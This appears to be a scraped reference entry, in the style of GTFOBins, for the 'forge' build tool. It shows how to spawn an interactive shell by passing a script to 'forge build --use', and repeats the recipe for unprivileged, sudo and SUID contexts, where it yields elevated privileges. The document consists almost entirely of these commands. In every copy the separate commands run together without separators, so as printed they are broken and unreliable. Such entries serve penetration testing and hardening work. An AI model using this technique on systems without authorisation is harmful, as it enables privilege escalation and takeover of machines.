forge

Shell

1. Unprivileged

   This function can be performed by any unprivileged user.

   echo '#!/bin/sh' >/path/to/temp-fileecho -e "/bin/sh <$(tty) >$(tty) 2>$(tty)" >>/path/to/temp-filechmod +x /path/to/temp-fileforge build --use /path/to/temp-file

   Sudo

   This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

   Remarks

   If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

   echo '#!/bin/sh' >/path/to/temp-fileecho -e "/bin/sh <$(tty) >$(tty) 2>$(tty)" >>/path/to/temp-filechmod +x /path/to/temp-fileforge build --use /path/to/temp-file

   SUID

   This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

   echo '#!/bin/sh' >/path/to/temp-fileecho -e "/bin/sh <$(tty) >$(tty) 2>$(tty)" >>/path/to/temp-filechmod +x /path/to/temp-fileforge build --use /path/to/temp-file